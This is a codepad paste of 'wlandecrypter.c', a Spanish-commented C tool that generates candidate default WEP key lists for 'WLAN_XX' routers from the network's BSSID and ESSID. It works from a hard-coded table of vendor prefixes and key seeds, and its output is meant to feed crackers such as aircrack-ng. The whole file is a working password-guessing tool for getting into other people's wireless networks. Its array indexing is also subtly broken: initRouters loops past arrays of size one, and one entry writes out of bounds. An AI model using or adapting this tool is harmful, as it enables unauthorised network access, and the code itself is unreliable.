codepad
[
create a new paste
]
login
|
about
Language:
C
C++
D
Haskell
Lua
OCaml
PHP
Perl
Plain Text
Python
Ruby
Scheme
Tcl
/***************************************************************************** * Fichero: wlandecrypter.c * Fecha: 23-03-2006 * Actualizado: 22-11-2006 * Modificado v0.6 : 15-12-2007 por *dudux dudux[at]elhacker[dot]net * Modificado v0.7 : 22-11-2008 por *dudux dudu[at]seguridadwireless[dot]net * Modificado v0.8 : 12-04-2009 por *dudux dudu[at]seguridadwireless[dot]net * Autor: Nilp0inteR (nilp0inter2k6[at]gmail[dot]com) * Modificado: www.seguridadwireless.net * * * Descripcion: Generador de diccionario de claves por defecto para los * router de Timofonik Zyxel, Xavvy y Comtrend. * * Este programa es software libre; puedes redistribuirlo y/o modificarlo * bajo los terminos de la Licencia Publica General GNU (GPL) publicada * por la Free Software Foundation; en su version numero 2, o (bajo tu * criterio) la ultima version. Mira http://www.fsf.org/copyleft/gpl.txt. * * Este programa se distribuye SIN GARANTIA de ningun tipo. * * Recomendaciones: wlandecrypter es multiplataforma, solo las ultimas versiones estan empaquetadas * para linux y versiones de la Livecd WIFIWAY y WIFISLAX * Hoy en dia estan para todo el mundo * * * Wlandecrypter 0.7 para PDAs (Zaurus) gracias a burton de seguridadwireless * * Wlandecrypter 0.5 para Macintosh * --->http://wiki.adictolinux.org/index.php/Wlandecrypter_en_Mac_Os_X * * Wlandecrypter 0.5 para windows no se nada,creo que nilp0inter compilo hasta la v0.5 * * Mirar tambien: wlaninject , wlandestroy , wepattack , weplab y aircrack-ng * *****************************************************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> // // Numero de modelos de routers en la base de datos // #define MAXROUTER 15 #define MAXINDEX 1 #define VERSION 0 #define SUBVERSION 8 // // Tipo de dato Router, con toda la informacion // typedef struct Router { char bssid[15]; // cambiado de 9 a 11 a 15 dudu char init[MAXINDEX][8]; char init1[MAXINDEX][8]; //añadido v0.7,creara otro indice para la structura Router,por lo que char notas[30]; // para tipo 00:13:49:XX:XX:XX y 00:1A:2B:XX:XX:XX habra un diccionario doble // añadido v0.8 nuevo diccionario doble para 00:19:CB:XX:XX:XX } tRouter; // // Variables globales // char hex[16]="0123456789ABCDEF"; // // Funciones // void initRouters(tRouter routers[MAXROUTER]); void datosRouters(tRouter routers[MAXROUTER]); void muestraAyuda(); int buscaBssid(tRouter routers[MAXROUTER], char *bssid); void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd); // // MAIN !!! // int main(int argc, char *argv[]) { int bssidId, i; int validHex=0; char endKey[2]; tRouter routers[MAXROUTER]; FILE *fichero; if(argc<3 || argc>4) { muestraAyuda(); return 1; } fprintf(stderr, "\nwlandecrypter %i.%i - 2007-2008-2009 dudu[at]seguridadwireless.net\n", VERSION, SUBVERSION); fprintf(stderr, " 2006 nilp0inter2k6_at_gmail.com\n\n"); fprintf(stderr, ""); fprintf(stderr, " ----------> http://www.seguridadwireless.net <----------\n\n"); fprintf(stderr, ""); fprintf(stderr, " uso: wlandecrypter <bssid> <essid> [output file]\n\n"); if(strlen(argv[1])!=17) // 12 caracateres alfanumericos y los 5 puntos dobles { fprintf(stderr," [-] Longitud de BSSID invalida\n"); return 1; } initRouters(routers); datosRouters(routers); bssidId=buscaBssid(routers, argv[1]); if(bssidId==-1) { fprintf(stderr, " [-] BSSID no encontrado\n"); return 1; } else { fprintf(stderr, " [+] BSSID: %s\n" " [+] Modelo: %s\n", argv[1], routers[bssidId].notas); for(i=0;i<strlen(argv[2]);i++) argv[2][i]=toupper(argv[2][i]); //comprueba que el essid empieza por "WLAN_" if(strlen(argv[2])<7 || strlen(argv[2])>9 || strncmp("WLAN_", argv[2], 5) != 0 ) { fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]); return 1; } else { //comprueba que el primer caracter despues del "WLAN_" es hexadecimal for(i=0;i<strlen(hex);i++) { if(argv[2][5]==hex[i]) { validHex++; break; } } //comprueba que el segundo caracter despues del "WLAN_" es hexadecimal for(i=0;i<strlen(hex);i++) { if(argv[2][6]==hex[i]) { validHex++; break; } } if(validHex!=2) { fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]); return 1; } else { endKey[0]=argv[2][5]; endKey[1]=argv[2][6]; fprintf(stderr," [+] ESSID: %s\n", argv[2]); if(argc>3) // Fichero { fprintf(stderr," [+] Fichero de claves: %s\n", argv[3]); fichero=fopen(argv[3], "a+"); if(fichero!=NULL) { imprimeClaves(fichero,routers,bssidId,endKey); fclose(fichero); fprintf(stderr, " [+] Fichero guardado\n"); } else { fprintf(stderr," [-] Error al abrir el fichero\n"); return 1; } } else { fprintf(stderr," [+] Seleccionada salida estandar\n"); imprimeClaves(stdout,routers,bssidId,endKey); } } } } return 0; } // // Vacia la estructura routers // void initRouters(tRouter routers[MAXROUTER]) { int i,j; for(j=0;j<MAXROUTER;j++) { strcpy(routers[j].bssid,""); for(i=0;i<5;i++) strcpy(routers[j].init[i],""); strcpy(routers[j].notas,""); } } // // Introduce los datos de los modelos conocidos // void datosRouters(tRouter routers[MAXROUTER]) { // Z-com strcpy(routers[0].bssid,"00:60:B3\0"); strcpy(routers[0].init[0],"Z001349\0"); strcpy(routers[0].notas,"Z-com\0"); // Xavvy strcpy(routers[1].bssid,"00:01:38\0"); strcpy(routers[1].init[0],"X000138\0"); strcpy(routers[1].notas,"Xavi 7768r\0"); // Comtrend strcpy(routers[2].bssid,"00:03:C9\0"); strcpy(routers[2].init[0],"C0030DA\0"); strcpy(routers[2].notas,"Comtrend 535\0"); // Zyxel : Gracias a thefkboss de foro.elhacker.net por esta observacion strcpy(routers[3].bssid,"00:A0:C5\0"); strcpy(routers[3].init[0],"Z001349\0"); strcpy(routers[3].notas,"Zyxel 650HW/660HW\0"); // Comtrend NUEVO, gracias a dnreinad por el coche xD strcpy(routers[4].bssid,"00:16:38\0"); strcpy(routers[4].init[0],"C0030DA\0"); strcpy(routers[4].notas,"Comtrend_536+\0"); // P-660HW-D1,gracias a Tertulia de foro.elhacker.net ;) strcpy(routers[5].bssid,"00:13:49\0"); strcpy(routers[5].init[0],"Z001349\0"); strcpy(routers[5].init1[0],"Z0002CF\0"); //añadido v0.7 .... strcpy(routers[5].notas,"P-660HW-D1\0"); // ZyGate Communications strcpy(routers[6].bssid,"00:02:CF\0"); strcpy(routers[6].init[0],"Z0002CF\0"); strcpy(routers[6].notas,"ZyGate\0"); // Comtrend nuevos 2007-2008 *dudux y dnreinad strcpy(routers[7].bssid,"00:1A:2B\0"); strcpy(routers[7].init[0],"C0030DA\0"); strcpy(routers[7].init1[0],"C001D20\0"); //añadido v0.7 .... strcpy(routers[7].notas,"Comtrend_DSL\0"); // Zygate v06. gracias pianista y Sycho por estar atento strcpy(routers[8].bssid,"00:19:CB\0"); strcpy(routers[8].init[0],"Z0002CF\0"); strcpy(routers[8].init[1],"Z0019CB\0"); // añadido v0.8 (2009) Zyxel FTTH (fibra optica hasta el hogar) strcpy(routers[8].notas,"Zyxel_660hw_FTTH\0"); // gracias Sycho :P // Comtrend hrodgar v0.6 strcpy(routers[9].bssid,"00:19:15\0"); strcpy(routers[9].init[0],"C0030DA\0"); strcpy(routers[9].notas,"Comtrend_2008\0"); // Nuevos version0.7 // Comtrend 2008 Mugen de el foro.elhacker.net ;) strcpy(routers[10].bssid,"00:30:DA\0"); strcpy(routers[10].init[0],"C0030DA\0"); strcpy(routers[10].notas,"Comtrend_536+\0"); // Comtrend nuevos 2008 strcpy(routers[11].bssid,"00:1D:20\0"); strcpy(routers[11].init[0],"C001D20\0"); strcpy(routers[11].notas,"Comtrend_536+\0"); } // // Muestra la ayuda del programa // void muestraAyuda() { fprintf(stderr, "\nwlandecrypter %i.%i - 2007-2008-2009 dudu[at]seguridadwireless.net\n", VERSION, SUBVERSION); fprintf(stderr, " 2006 nilp0inter2k6_at_gmail.com\n\n"); fprintf(stderr, ""); fprintf(stderr, " ----------> http://www.seguridadwireless.net <----------\n\n"); fprintf(stderr, ""); fprintf(stderr, " uso: wlandecrypter <bssid> <essid> [output file]\n\n"); } // // Busca el bssid en la estructura y devuelve el identificador o // -1 si no existe // int buscaBssid(tRouter routers[MAXROUTER], char *bssid) { int i; for(i=0;i<strlen(bssid);i++) bssid[i]=toupper(bssid[i]); for(i=0;i<MAXROUTER;i++) { if(strncmp ( routers[i].bssid, bssid, 8 ) == 0) return i; } return -1; } // // Imprime las claves en un fichero // void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd) { int i,j,k,l,index=0; while(index<MAXINDEX && strcmp(routers[bssidId].init[index], "")) { // Hay gente que se asusta con estos 4 for anidados ;) for(i=0;i<16;i++) // 16 digitos hexadecimales for(j=0;j<16;j++) for(k=0;k<16;k++) for(l=0;l<16;l++) { fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init[index],hex[i],hex[j],hex[k],hex[l],keyEnd[0],keyEnd[1]); //añadida este bucle v0.7 para crear un diccionario con las 2 cabeceras posibles if(strlen(routers[bssidId].init1[index])!=0) { fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init1[index],hex[i],hex[j],hex[k],hex[l],keyEnd[0],keyEnd[1]); } } index++; } }
Private
[
?
]
Run code